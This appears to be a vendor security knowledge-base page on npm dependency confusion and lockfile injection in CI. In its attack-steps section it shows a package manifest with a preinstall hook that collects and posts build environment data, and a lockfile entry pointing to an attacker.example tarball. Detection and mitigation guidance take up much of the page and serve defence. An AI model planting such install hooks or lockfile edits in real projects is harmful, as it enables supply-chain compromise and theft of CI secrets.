1. Resources
  2. Identity Threats
  3. GitHub

npm Dependency Substitution in CI Builds

Also known as: Dependency confusion, npm substitution attack, Package name hijacking, Lockfile injection, Namespace confusion

An attacker who publishes a package under a name a build resolves, or who edits a lockfile entry in a pull request, gets install scripts executed inside CI with the job's tokens and secrets.

Platform
GitHub
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: No account
An npm account to publish a package under an unclaimed internal name, or the ability to open a pull request that changes package-lock.json. No access to the organization is needed.
What the attacker gains
Code execution during npm install in CI and on developer machines: registry tokens, the job's GITHUB_TOKEN and OIDC access, and control over the built package.
Threat groups
APT38ShinyHuntersTeamPCPGroups that MITRE ATT&CK records using T1195.001.

How it works

A build trusts whatever its package manager installs. npm decides what to install from three things: the names and ranges in package.json, the registry configuration, and the lockfile. An attacker who can influence any of them substitutes a package, and npm runs the substitute's code during the install: a package can declare preinstall, install and postinstall scripts, and the lockfile even marks such packages with hasInstallScript.

There are three routes.

Name substitution through the registry. An organization publishes internal packages to a private registry under plain names such as billing-utils. The public registry lets anyone publish an unclaimed name. If a build asks the public registry for that name, or an internal proxy forwards the name upstream or merges public and internal versions of the same name, the attacker's package is installed. GitHub's npm team calls this a substitution attack; it is widely known as dependency confusion. The same hole opens when an internal package is removed and the proxy starts serving the name from upstream.

Lockfile injection. package-lock.json records, for every package in the tree, the version, the resolved tarball URL and an integrity hash. npm ci installs exactly that. A pull request that changes one entry's resolved URL to a tarball the attacker hosts, and its integrity to match, passes the integrity check: the hash confirms agreement with the lockfile, including a lockfile changed in the same commit. Lockfile diffs are long and machine-written, so reviewers rarely read them.

Transitive entry. The unexpected package does not have to be a direct dependency. It can arrive through a new or changed dependency of a dependency, where the first reviewed revision that introduced the edge is several levels away from the project's own manifest.

In CI the install step usually runs in a job that also holds secrets: a registry token for publishing, the GITHUB_TOKEN, sometimes id-token: write. That is what makes a package manager problem an identity problem.

Prerequisites

  • Name substitution: an internal package with an unscoped name that is not registered on the public registry, and a build, proxy or developer machine that can resolve the name from the public registry.
  • Lockfile injection: the ability to open a pull request that changes the lockfile, and either a CI job that installs from the pull request's lockfile or a reviewer who merges it.
  • For impact: an install that runs package scripts, and credentials reachable from the install step.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Collect internal package names

Internal names leak through package.json and lockfiles in public repositories, published front-end bundles, error messages and job logs. Check whether a name is free on the public registry:

npm view billing-utils
# a 404 from the public registry means nobody has claimed the name

2. Publish a package under the name

The package only needs a manifest and an install script:

{
  "name": "billing-utils",
  "version": "99.0.0",
  "description": "placeholder",
  "scripts": {
    "preinstall": "node collect.js"
  }
}
npm login
npm publish

collect.js is whatever the operator wants to run in the build. A typical script gathers the hostname, the working directory and the environment and posts them to a server the operator controls.

3. Wait for a build to resolve it

Any npm install that reaches the public registry for that name, on a developer laptop or in a CI job, downloads the package and runs the script. Nothing is sent to the target, and the target's repository does not change.

4. Lockfile injection variant

In a fork, edit one entry of package-lock.json so that it points at a tarball the attacker serves, and replace the hash with the tarball's own:

"node_modules/left-pad": {
  "version": "1.3.0",
  "resolved": "https://attacker.example/left-pad-1.3.0.tgz",
  "integrity": "sha512-<hash of the attacker's tarball>"
}

Bury the change in a pull request that plausibly touches dependencies. When CI runs npm ci on the pull request, or after merge, npm fetches the tarball from the attacker's host and accepts it because it matches the lockfile.

5. Use what the install step can reach

The script runs before any build or test step. From there it can read registry credentials from the environment and .npmrc, use the job's token as described in GITHUB_TOKEN and installation token abuse, modify files in node_modules and the workspace so that the built package carries a backdoor, and, in a release job, publish that package under the organization's name.

Impact

One install gives code execution on every machine and pipeline that builds the project. The immediate gain is credential theft: npm publish tokens, cloud keys, source control tokens. The lasting damage is downstream, because a compromised release job ships the attacker's code to the project's own users, and a stolen npm token lets the attacker publish new versions of the organization's packages. A pull request from a fork limits the blast radius only if the workflow follows the rules in GitHub Actions pwn request.

OPSEC and artifacts

  • Plausible package. The operator gives the package a working copy of the expected API so that builds keep passing. The published package, its version history and its publish time stay on the public registry, and the tarball can be downloaded and diffed.
  • Quiet scripts. An install script that prints nothing leaves a normal-looking install log. The log still lists the installed version, and the lockfile or node_modules/.package-lock.json on the build machine records the resolved URL and integrity of what was installed.
  • Selective payload. A script that acts only when it finds CI variables keeps researchers' sandboxes from seeing the behaviour. The outbound connection from the runner during the install step remains.
  • Lockfile diff. The injected entry is in the repository history for good: a resolved host that is not the project's registry.
  • Registry publication is not installation. A package on the registry proves availability. Which builds took it is shown by installer logs and by the build's own manifest.

Detection

  • Lockfile hosts. Every resolved URL should point at an approved registry. Check it in CI and in review:
grep -o '"resolved": "https\?://[^/"]*' package-lock.json | sort | uniq -c
npx lockfile-lint --path package-lock.json --allowed-hosts npm --validate-https
  • Registry in effect. Confirm which registry the build actually uses for each scope and for unscoped names:
npm config get registry
npm config get @mycompany:registry
  • Signatures and provenance. npm audit signatures verifies the registry signatures of installed packages and their provenance attestations. A package that should come from your organization but has no valid provenance is a finding.
  • Install scripts that reach out. MITRE's detection guidance for this technique is to look for package installs whose lifecycle hooks spawn shells or download tools, followed by connections to unapproved registries or unfamiliar domains. On self-hosted runners that is process and network telemetry; on hosted runners it needs an egress control in the job.
  • Version jumps. An internal package whose installed version suddenly exceeds anything the team published came from somewhere else.
  • Guard rails switched off. The code scanning or Dependabot disabled rules alert when the dependency graph or Dependabot alerts are disabled. After an incident, the Actions secret or variable changed rules help track the secret rotation.

A stale dependency or an unfamiliar name alone does not establish an attack. The finding is a tarball whose digest differs from the lockfile's reviewed value, or an installed package whose publisher is not the intended one.

Mitigation

  • Scope internal packages and bind the scope to your registry. Commit the mapping in the project's .npmrc:
@mycompany:registry = https://registry.mycompany.example/

Register the same scope as an organization on the public registry, so that nobody else can publish under it and a misconfigured build fails with a 404 instead of fetching someone else's package.

  • Configure the proxy to never merge or fall back. An internal registry should not forward upstream any name that has been published into it, and should not start serving a removed internal name from the public registry.
  • Install with npm ci from a reviewed lockfile. It fails when package.json and the lockfile disagree and never rewrites the lockfile. Require code owner review for package-lock.json and .npmrc, and lint resolved hosts in CI.
  • Do not run install scripts where they are not needed. npm ci --ignore-scripts stops package scripts from running during install.
  • Separate install from credentials. Run install, build and test in a job with a read-only token and no secrets, following least privilege, and publish from a separate job that consumes the verified build output.
  • Publish with provenance from a trusted workflow instead of a long-lived npm token, and have consumers verify it.
  • Never ignore a failed install. With scopes and a strict proxy, a substitution attempt shows up as a 404, and a build that retries against the public registry turns the failure into a compromise.

Detection rules for this attack

Log events to collect

FAQ

What is an npm substitution attack?

An organization uses an internal package under a plain, unscoped name. An attacker publishes a package with the same name on the public npm registry. Any build that resolves that name from the public registry, directly or through a proxy that merges upstream packages, installs the attacker's code. It is also called dependency confusion.

Does package-lock.json prevent dependency substitution?

It prevents silent changes: npm ci installs exactly what the lockfile records and checks each tarball against its integrity hash. It does not help when the lockfile itself is changed in the same pull request, because the integrity value then matches the attacker's tarball.

Why do scoped package names stop the attack?

A scope such as @mycompany can be linked to one registry, so every install for that scope goes there and nowhere else. On the public registry only the owning user or organization can publish under a scope, so an outsider can't claim the name.

What can a malicious package do in a CI job?

Its preinstall, install or postinstall script runs as part of npm install or npm ci, as the build user. It can read environment variables and files in the workspace, including registry tokens and the job's GitHub token, change the build output, and call out to the network.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.